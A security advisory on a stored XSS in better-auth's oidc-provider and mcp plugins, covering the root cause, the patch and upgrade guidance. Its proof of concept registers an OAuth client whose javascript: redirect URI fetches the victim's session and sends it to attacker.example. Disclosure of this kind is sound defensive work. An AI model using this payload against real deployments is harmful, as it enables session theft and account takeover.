better-auth Stored XSS via javascript: redirect_uri in oidc-provider and mcp Plugins
The better-auth oidc-provider and mcp plugins accept any string as an OAuth redirect URI, letting an attacker store a javascript: URL that executes in the authorization server's origin when a victim…
The problem
The oidc-provider and mcp plugins in better-auth typed redirect_uris as z.array(z.string()) with no scheme validation. A POST /oauth2/register call could store any URI, including javascript: payloads, in the database.
When the victim later visits the attacker's authorize URL and clicks Approve, the consent handler calls new URL(value.redirectURI) and returns the result as redirectURI in a JSON response. A consent page that assigns this value to window.location.href executes attacker JavaScript inside the authorization-server origin.
This is a stored DOM XSS that enables full account takeover via session-scoped API calls.
Proof of concept
A working proof-of-concept for this issue in better-auth, with the exact payload below.
# Step 1: Register a malicious OAuth client (authenticated user, or unauthenticated if allowDynamicClientRegistration: true)
POST /api/auth/oauth2/register
Content-Type: application/json
{
"client_name": "Legit App",
"redirect_uris": ["javascript:fetch('/api/auth/get-session').then(r=>r.json()).then(d=>fetch('https://attacker.example/x?c='+btoa(JSON.stringify(d))))//"]
}
# Step 2: Send victim to the authorize URL with the returned client_id and that redirect_uri
GET /api/auth/oauth2/authorize
?client_id=<registered_client_id>
&redirect_uri=javascript:fetch('/api/auth/get-session').then(r=>r.json()).then(d=>fetch('https://attacker.example/x?c='+btoa(JSON.stringify(d))))//
&response_type=code
&scope=openid
# Step 3: Victim approves consent. The server returns:
# { "redirectURI": "javascript:fetch('/api/auth/get-session')...//" }
# Consent page assigns res.data.redirectURI to window.location.href -> XSS fires.The root cause is missing scheme validation at the OAuth dynamic client registration endpoint (CWE-79 / CWE-601). The redirect_uri was stored verbatim and then passed through new URL() at consent time, which preserves the javascript: scheme intact. The trailing // in the payload comments out the authorization code that searchParams.set appends, preventing a parse error that would otherwise break execution.
The patch (commit be32012, PR #9838) introduced SafeUrlSchema and isSafeUrlScheme in @better-auth/core. Both oidc-provider and mcp now run every redirect_uri through that validator at registration time and reject javascript:, data:, and vbscript: schemes before persistence.
A follow-up hardening (commit 13abc79, PR #9845) replaced URL.canParse with a try/catch fallback and also rejects URIs containing a fragment, per RFC 6749 §3.1.2.
The fix
Upgrade to better-auth@1.6.13 (stable) or 1.7.0-beta.4 (pre-release). Both releases add SafeUrlSchema scheme validation to oidc-provider and mcp at registration time.
If you cannot upgrade immediately, add a client-side scheme check before any navigation: parse the returned URI and only navigate when new URL(redirectURI).protocol is http: or https:. Alternatively, migrate to @better-auth/oauth-provider, which already enforced this validation prior to this advisory.
Reported by hillalee.
Related research
- high · 8.3better-auth Pre-Account Hijacking via Magic-Link and Email-OTP Sign-In
- high · 7.7CVE-2026-53514CVE-2026-53514: better-auth Organization Invitation Takeover via Unverified Email Pre-Registration
- high · 8.3CVE-2026-53516CVE-2026-53516: better-auth OAuth Auto-Link Account Takeover via Unverified Email
- highCVE-2026-65597: n8n DOM-Based XSS via Unsandboxed iframe srcdoc in HTML Preview